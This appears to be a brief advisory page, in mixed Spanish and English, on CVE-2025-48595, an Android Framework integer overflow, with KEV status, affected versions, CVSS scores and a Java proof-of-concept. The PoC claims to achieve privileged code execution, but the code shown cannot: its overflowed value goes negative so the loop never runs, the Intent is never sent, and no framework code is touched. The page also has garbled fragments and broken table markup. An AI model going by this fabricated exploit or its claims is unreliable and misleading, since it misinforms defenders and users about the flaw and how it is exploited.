
VE-2025-48595 es una vulnerabilidad de **desbordamiento de entero (integer overflow)** en múltiples ubicaciones del Framework de Android.
CVE-2025-48595 is an integer overflow vulnerability in multiple locations of the Android Framework. This flaw allows code execution leading to local privilege escalation without requiring additional execution privileges. No user interaction is required for exploitation.
| Element | Status |
|---|---|
| Active exploitation | ✅ Confirmed (limited and segmented exploitation) |
| In CISA KEV catalog | ✅ Yes |
| Date added to KEV | 2026-06-02 |
| Expiration date | 2026-06-05 |
| Patch available | ✅ Yes |
| Android Version | Affected? |
|---|---|
| Android 14 | ✅ Yes |
| Android 15 | ✅ Yes |
| Android 16 | ✅ Yes |
| Android 16 QPR2 | ✅ Yes |
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
text
The following code demonstrates exploitation of the vulnerability by sending malicious data that triggers an integer overflow in the Android Framework, allowing arbitrary code execution with elevated privileges.
// POC - CVE-2025-48595
// Android Framework Integer Overflow Vulnerability
// Uso: Compilar y ejecutar en dispositivo Android vulnerable
package com.example.cve202548595;
import android.app.Activity;
import android.os.Bundle;
import android.util.Log;
public class MainActivity extends Activity {
private static final String TAG = "CVE-2025-48595";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// POC: Desencadenar desbordamiento de entero
triggerIntegerOverflow();
}
private void triggerIntegerOverflow() {
try {
// Valor que causa el desbordamiento (más allá del límite esperado)
int maliciousValue = Integer.MAX_VALUE + 1;
// Construir intent malicioso
android.content.Intent intent = new android.content.Intent();
intent.putExtra("malicious_data", maliciousValue);
// Forzar operación con desbordamiento
int result = processMaliciousData(maliciousValue);
Log.i(TAG, "Desbordamiento activado exitosamente");
} catch (Exception e) {
Log.e(TAG, "Error: " + e.getMessage());
}
}
private int processMaliciousData(int value) {
// El desbordamiento aquí permite la corrupción de memoria
int[] buffer = new int[1024];
// El valor malicioso excede los límites del buffer
// debido al desbordamiento de entero
for (int i = 0; i < value; i++) {
buffer[i] = i; // Esta línea causa overflow
}
return buffer[0];
}
}
| Metric | Value |
|---|
| Attack Vector | Local (AV:L) |
| Attack Complexity | Low (AC:L) |
| Privileges Required | None (PR:N) |
| User Interaction | None (UI:N) |
| Confidentiality Impact | High (C:H) |
| Integrity Impact | High (I:H) |
| Availability Impact | High (A:H) |